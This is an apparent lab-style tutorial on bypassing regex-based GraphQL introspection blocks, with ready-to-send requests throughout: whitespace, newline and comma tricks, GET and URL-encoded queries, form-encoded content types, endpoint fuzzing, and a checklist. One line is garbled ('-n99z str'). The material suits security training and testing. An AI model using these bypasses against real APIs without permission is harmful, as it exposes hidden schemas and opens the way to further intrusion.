Bypassing GraphQL Introspection Defenses
A complete guide to bypass introspection blocks in GraphQL APIs.
A complete guide to bypass introspection blocks in GraphQL APIs.
What's the Problem?#
Sometimes when you try introspection, it doesn't work. The developers disabled it!
Normal introspection:#
{
"query": "{__schema{queryType{name}}}"
}Response when blocked:#
{
"errors": [{
"message": "GraphQL introspection is not allowed"
}]
}Why Is It Blocked?#
Developers use regex (regular expressions) to block introspection.
Example blocking rule:#
Block any query containing: __schema{So this query gets blocked:
{__schema{queryType{name}}}Bypass Method 1: Add Special Characters#
The Trick:#
Add characters between __schema and {
These characters are:
- Space
query{__schema {queryType{name}}}- Newline
\nlike this
query{__schema\n{queryType{name}}}-n99z str like this
query{__schema
{queryType{name}}}- Comma
,like this
query{__schema,{queryType{name}}}Why does this work?#
- GraphQL ignores these characters
- But the regex doesn't!
Example 1: Add a newline#
Instead of:
{
"query": "{__schema{queryType{name}}}"
}Try this:
{
"query": "query{__schema\n{queryType{name}}}"
}The \n is a newline character.
Example 2: Add a space#
{
"query": "{__schema {queryType{name}}}"
}Notice the space after __schema.
Example 3: Add a comma (weird but works)#
{
"query": "{__schema,{queryType{name}}}"
}Bypass Method 2: Change Request Method#
The Problem:#
Introspection might be blocked on POST but not on GET.
Try GET Request:#
Instead of POST:
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"{__schema{queryType{name}}}"}Try GET:
GET /graphql?query={__schema{queryType{name}}} HTTP/1.1URL Encoding:#
For GET requests, you need to URL encode the query.
Original:
{__schema{queryType{name}}}URL Encoded:
%7B__schema%7BqueryType%7Bname%7D%7D%7DFull GET Request Example:#
GET /graphql?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D HTTP/1.1
Host: target.comBypass Method 3: Change Content-Type#
Try different content types:#
Normal:
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"{__schema{queryType{name}}}"}Try this:
POST /graphql HTTP/1.1
Content-Type: application/x-www-form-urlencoded
query={__schema{queryType{name}}}Bypass Method 4: Combine Methods#
Mix the techniques!
Example: GET + Newline + URL Encoding#
GET /graphql?query=%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D HTTP/1.1Breaking it down:
%7B={__schema=__schema%0A= newline\n%7B={- etc...
Step-by-Step Testing#
1. Normal introspection (blocked)#
{"query":"{__schema{queryType{name}}}"}2. Try with space#
{"query":"{__schema {queryType{name}}}"}3. Try with newline#
{"query":"{__schema\n{queryType{name}}}"}4. Try GET method#
GET /graphql?query={__schema{queryType{name}}}5. Try GET + URL encoded#
GET /graphql?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D6. Try POST with x-www-form-urlencoded#
POST /graphql
Content-Type: application/x-www-form-urlencoded
query={__schema{queryType{name}}}URL Encoding Quick Reference#
| Character | URL Encoded |
|---|---|
{ | %7B |
} | %7D |
: | %3A |
( | %28 |
) | %29 |
| newline | %0A |
| space | %20 |
Lab: Finding Hidden GraphQL Endpoint#
This lab has a hidden GraphQL endpoint.
What does "hidden" mean?#
The GraphQL endpoint is not at the common paths like:
/graphql/api/graphql/graphql/v1
How to find it?#
- Fuzzing - try many paths
- Check JavaScript files - look for API calls
- Try different paths:
text
/api /v1 /query /gql /graphiql
Once you find it:#
Apply the bypass techniques if introspection is blocked!
Practical Example#
Scenario:#
You found a GraphQL endpoint at /api/v1/graphql
Step 1: Try normal introspection#
POST /api/v1/graphql
Content-Type: application/json
{"query":"{__schema{queryType{name}}}"}Response: Blocked!
Step 2: Try with newline#
{"query":"{__schema\n{queryType{name}}}"}Response: Still blocked!
Step 3: Try GET method#
GET /api/v1/graphql?query={__schema{queryType{name}}}Response: It works!
Quick Checklist#
When introspection is blocked, try:
☐ Add space after __schema
☐ Add newline after __schema
☐ Add comma after __schema
☐ Change POST to GET
☐ Change Content-Type to x-www-form-urlencoded
☐ URL encode the query
☐ Try combinations of the above
☐ Try different endpointsSummary#
The Defense:#
Block queries containing: __schema{The Bypass:#
Add characters between __schema and {
OR
Use different HTTP method
OR
Use different content-typeWhy it works:#
- GraphQL parser ignores spaces/newlines
- Regex only looks for exact pattern
- Different methods might not be blocked
Remember to apply the bypass technique if needed!
Happy Hunting!